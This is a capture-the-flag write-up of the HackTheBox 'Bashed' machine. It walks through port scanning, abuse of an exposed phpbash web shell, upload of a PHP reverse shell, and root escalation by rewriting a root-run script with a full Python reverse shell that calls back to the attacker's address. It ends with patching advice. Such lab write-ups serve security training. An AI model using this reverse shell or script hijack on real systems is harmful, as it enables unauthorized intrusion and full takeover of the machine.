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89 lines
2.4 KiB
Markdown
89 lines
2.4 KiB
Markdown
---
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title: "Writeup - Bashed (HTB)"
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date: 2022-05-03
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slug: "writeup-bashed-htb"
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type: "writeup-ctf"
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---
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This is a writeup for the [Bashed](https://app.hackthebox.com/machines/Bashed) machine from the HackTheBox site.
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## Enumeration
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First, let's start with a scan of our target with the following command:
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```bash
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nmap -sV -T4 -Pn 10.10.10.68
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```
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One TCP port are discovered:
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- 80/tcp : HTTP web server (Apache 2.4.18)
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## Exploit
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First, I start by scanning the site's folders.
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Quite a few things and in particular the `/dev` folder which contains the 2 following files:
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After some research they correspond to the following project: [phpbash](https://github.com/Arrexel/phpbash). Globally it is a cmd directly integrated in a web page. So I go to the page and start to look if there are interesting things:
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Rather fast, we can already get the first flag!
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## Privilege escalation
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Although functional, the cmd in the browser remains limited. So I upload a PHP reverse shell in the `html/uploads` folder.
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I now have a reverse and I can check the sudo permissions of my user.
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So he has the authorization to execute any command as `scriptmanager`. So I search for files/scripts on the machine and find the `/scripts`. I check the permissions with the following command:
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Looking at the content of the script I realize that there is an automatic execution of the script by the root user. Indeed the file `test.txt` belongs to root and was created a short time ago.
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```bash
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f = open("test.txt", "w")
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f.write("testing 123!")
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f.close
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```
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So I modify the script with the following program:
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```bash
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import socket,subprocess,os
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s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
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s.connect(("10.10.14.4",1234))
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os.dup2(s.fileno(),0)
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os.dup2(s.fileno(),1)
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os.dup2(s.fileno(),2)
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t=subprocess.call(["/bin/sh","-i"])
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```
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After a few minutes, I have a reverse shell root and I can recover the last flag.
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## Recommendations
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To patch this host I think it would be necessary to perform a number of actions:
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- Do not run phpbash.php directly on the machine, use containers to isolate it for example
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- Reduce the permissions of the user hosting the applications to a strict minimum
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- Do not run a script automatically as root if it can be modified by other users
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